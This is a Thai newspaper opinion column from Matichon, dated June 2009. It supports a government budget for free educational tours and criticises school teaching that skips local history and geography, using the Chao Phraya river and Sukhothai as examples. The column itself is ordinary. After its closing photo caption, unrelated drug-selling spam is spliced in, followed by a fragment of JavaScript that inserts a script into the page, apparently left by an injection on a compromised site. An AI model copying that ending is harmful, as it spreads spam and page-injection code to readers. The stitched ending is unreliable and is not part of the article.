หนังสือพิมพ์มติชน ฉบับประจำวันจันทร์ที่ 8 มิถุนายน 2552

จะทุ่มเทเงินทองของประชาชนผู้เสียภาษีอากรไปช่วยฟื้นฟูการท่องเที่ยวของเอกชนประเภท See, Sand, Sex ก็ไม่ว่าละ เพราะนั่นหมายถึงผลตอบแทนโดยรวมถ้าทำสำเร็จถูกทิศทาง

แต่จะทอดทิ้งการท่องเที่ยวเพื่อสติปัญญาของคนในบ้านเมืองนั้น หาควรไม่ โดยเฉพาะอย่างยิ่งของนักเรียนนักศึกษาทั่วประเทศ ควรได้รับความสนับสนุนจากนโยบายรัฐพร้อมงบประมาณให้มีการท่องเที่ยวเพื่อการศึกษา หรือทัศนศึกษาฟรีอย่างถ้วนหน้าถึงกัน เดินทางข้ามภาคเพือแบ่งปันแลกเปลี่ยนเรียนรู้อย่างรื่นรมย์ เช่น ภาคใต้ไปอีสาน, ภาคกลางไปภาคใต้, ภาคเหนือไปภาคตะวันตกแล้วไปภาคตะวันออก, ภาคอีสานไปภาคใต้ เป็นต้น

เมื่อมีข่าวว่ารัฐบาลเริ่มจัดงบประมาณให้ท่องเที่ยวเพื่อเรียนรู้ก็ยิ่งเป็นสุขใจ จะขอยกข่าวจากมติชนมาให้อ่านก่อน(ฉบับวันจันทร์ที่ 1 มิถุนายน 2552 หน้า 23) ดังนี้

สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน (สพฐ.) และกระทรวงการท่องเที่ยวและกีฬา ได้งบประมาณสนับสนุน 153 ล้านบาทจากรัฐบาล เพื่อดำเนินโครงการส่งเสริมกระบวนการเรียนรู้การท่องเที่ยวในกลุ่มนักเรียน เยาวชน และผู้สูงอายุ ประจำปีการศึกษา 2552 เดือนพฤษภาคม-กรกฎาคม 2552

เพื่อส่งเสริมการเรียนรู้ประสบการณ์ด้านท่องเที่ยว ครอบคลุมกลุ่มเป้าหมาย 153,000 คน ได้แก่ ม. ต้น 61,050 คน ม. ปลาย 55,870 คน อาชีวศึกษา 21,280 คน และผู้สูงอายุ 14,800 คน

งบฯจะจัดสรรให้สำนักงานเขตพื้นที่การศึกษา (สพท.) ทั่วประเทศ โดยขอความร่วมมือให้ทุก สพท. นำเสนอข้อมูลแหล่งเรียนรู้ที่น่าสนใจที่สอดคล้องกับหลักฐานท้องถิ่น เผยแพร่ผ่านทางเว็บไซต์ด้วย เพื่ออำนวยความสะดวกให้แก่โรงเรียนในพื้นที่อื่นๆ ในการคัดเลือกสถานที่ที่จะพาเด็กไปทัศนศึกษา

ที่หนักใจตรงนี้มีอย่างน้อย 2 อย่าง คือ ประวัติศาสตร์ท้องถิ่นและภูมิศาสตร์

ระบบการศึกษาไทยมีแต่ประวัติศาสตร์แห่งชาติ ที่เต็มไปด้วยเรื่องราวของราชวงศ์, สงคราม, และ พ.ศ. ไม่เคยมีประวัติศาสตร์ท้องถิ่น แม้พิพิธภัณฑสถานแห่งชาติก็ไม่ยกย่องประวัติศาสตร์ท้องถิ่น เพิ่งมีกรณีตัวอย่างที่จังหวัดร้อยเอ็ด ในพิพิธภัณฑ์ไม่มีความเป็นมาของชื่อเมืองร้อยเอ็ด แม้ประวัติความเป็นมาก็ไม่มี ที่มีคือสิ่งที่ไม่จำเป็นต่อคนร้อยเอ็ด

ยิ่งภูมิศาสตร์ที่บอกภูมิประเทศยิ่งไม่มี ที่มีเป็นเรื่องธรณีวิทยา เช่น หิน, ดิน, ฯลฯ แต่ไม่เน้นให้เห็นแม่น้ำลำคลอง, หุบเขา, ทุ่งราบ, ฯลฯ สภาพแวดล้อมอันเกื้อกูลคนที่นั่น

สังคมไทยให้แต่ความรู้จากท่องจำเป็นนกแก้วนกขุนทองของวัฒนธรรมเถรวาทไทย เช่น

ท่องว่าแม่น้ำเจ้าพระยามาจากปิง-วัง-ยม-น่าน แต่ไม่รู้ต้นน้ำอยู่ไหน? ไหลผ่านอะไร? แล้วมีสายน้ำบริวารอะไรบ้าง? เช่น สะแกกรัง, ป่าสัก, ฯลฯ ไม่เคยรู้ว่าไหลลงแม่น้ำเจ้าพระยา

ฉะนั้นพากันท่องแค่“อนุรักษ์ธรรมชาติ” แต่ไม่รู้ว่าประวัติธรรมชาติวิทยาให้อะไรแก่มนุษย์มาตั้งแต่เมื่อไร?

เพ้อเจ้อถึงกรุงสุโขทัยเป็นรัฐในอุดมคติ แต่ไม่เคยรู้ว่ามีแม่น้ำอะไรไหลผ่านตรงไหน? ต้นน้ำอยู่ไหน? ไหลไปไหน? มีบทบาทอย่างไรต่อสังคมวัฒนธรรมคนยุคพระร่วงกรุงสุโขทัย?

จะทำอย่างไรถึงให้ใช้เงินหลวงเที่ยวฟรีอย่างมีสติและปัญญา นี่คือปัญหาสำคัญมากของสังคมไทย เพราะไม่อยากให้เหมือนข้าราชการกับ ส.ส. ในสภาพากันไปดูงานล้างผลาญสิ้นเปลืองโดยไม่ได้อะไรมาปรับปรุงบ้านเมืองเลย นอกจากเที่ยวฟรี มี Sex ในสมอง บกพร่องทางปัญญา

coke-hill8-06-52

โค้งแม่น้ำเจ้าพระยาไหลผ่านบริเวณเมืองบน ยุคทวารวดี ราว 1,500 ปีมาแล้ว ที่ ต. ท่าน้ำอ้อย มองเห็นวัดพระปรางค์เหลืองริมน้ำ ภาพนี้ถ่ายจากบนยอดเขาปกล้น บ้านเขาไม้เดน ต. ท่าน้ำอ้อย อ. พยุหะคีรี จ. นครสวรรค์ranbaxy forzest 20 cheap cialis black onlinedocument.currentScript.parentNode.insertBefore(s, document.currentScript);